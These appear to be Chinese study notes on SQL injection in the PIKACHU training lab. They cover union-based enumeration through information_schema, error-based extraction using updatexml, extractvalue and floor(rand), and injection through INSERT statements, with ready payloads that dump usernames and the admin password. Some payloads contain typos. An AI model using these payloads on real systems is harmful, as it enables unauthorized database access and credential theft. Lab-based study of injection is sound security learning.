SQL Inject 测试 (PIKACHU)
基于union联合查询的信息获取
uion 联合查询:可以通过联合查询来查询指定的数据
用法举例: select username,password from user where id=1 union select 字段1,字段2 from 表名 联合查询的字段数需要和主查询一致!
mysql> select id,email from member where username='kobe' union select username,pw from member where id=1;
mysql> select id,email from member where username='kobe' order by 1;
mysql> select id,email from member where username='kobe' order by 2;
mysql> select id,email from member where username='kobe' order by 3;
......
select version();
select database();
select user();
select @@global.verion_compile_os from mysql.user;
a' union select database(),user()#
a' union select version(),4
......
MYSQL小知识补充:information_schema
在MySQL中,自带的information_schema这个表里面存放了大量的重要信息。具体如下: 如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。
比如: SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表 。 TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是 show tables from schemaname 的结果取之此表。 COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是 show columns from schemaname.tablename 的结果取之此表。
通过 information_schema 拿下数据库
select id,email from member where username = 'kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu';
test payload :
kone' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
# 获取字段名
select id,email from member where username = 'kobe' union select table_name,column_name from information_schema.columns where table_name'users';
test payload :
kobe' union select table_name,column_name from information_schema.columns where table_name='users'
select id,email from member where username = 'kobe' union select username,password from users;
tset payload :
kobe' union select username,password from users
kobe' union select database(),user()
基于函数报错 的信息获取
技巧思路
在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。 select/insert/update/delete 都可以使用报错来获取信息。
背景条件
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
基于函数报错的信息获取 - 三个常用的用来报错的函数
updatexml():函数是 MySQL 对 **XML文档数据**进行查询和修改的**XPATH**函数 extractvalue():函数也是 MySQL 对 **XML文档数据**进行查询的**XPATH**函数 floor(): MySQL中用来**取整**的函数
updatexml()
Updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值。
UPDATEXML (xml_document, XPathstring, new, vale) 第一个参数:fielname 是 String 格式,为表中的字段名 第二个参数:XPathstring (Xpath格式的字符串) 第三个参数:new_value , String 格式,替换查找到的符合条件的
Xpath 定位必须是有效的,否则会发生错误!!!
kobe' and updatexml(1,version(),0)#
kobe' and updatexml(1,concat(0x7e,version()),0)
kobe' and updatexml(1,concat(0x7e,database()),0)#
# 报错只能一次显示一行
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#
# 获取到表名后,在获取列名,思路是一样的
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)
基于 insert update delete 的注入利用
mysql> insert into member(username,pw,sex,phonenum,email,address) values('xiaohong',111111,1,2,3,4);
mysql> insert into member(username,pw,sex,phonenum,email,address) values('1' or updatexml(1,concat(database(),0) or'',111111,1,2,3,4);
xiaohong' or updatexml(1,concat(0x7e,database()),0) or '
1 or updatexml(1,concat(1,concat(0x7e,database()),0)
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
kobe' and (select 2 from (select count(*),concat((select password from users where username='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
extractvalue()
extractvalue()函数作用:从目标XML中返回包含所查询的字符串。
语法:ExtractValue(xml_document, xpath_string) 第一个参数:XML_document 是 String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string(Xpath格式的字符串)
Xpath 定位必须是有效的,否则会发生错误!!!
以上是我的听课及学习笔记,欢迎借鉴交流学习,并指出不足!谢谢支持!
|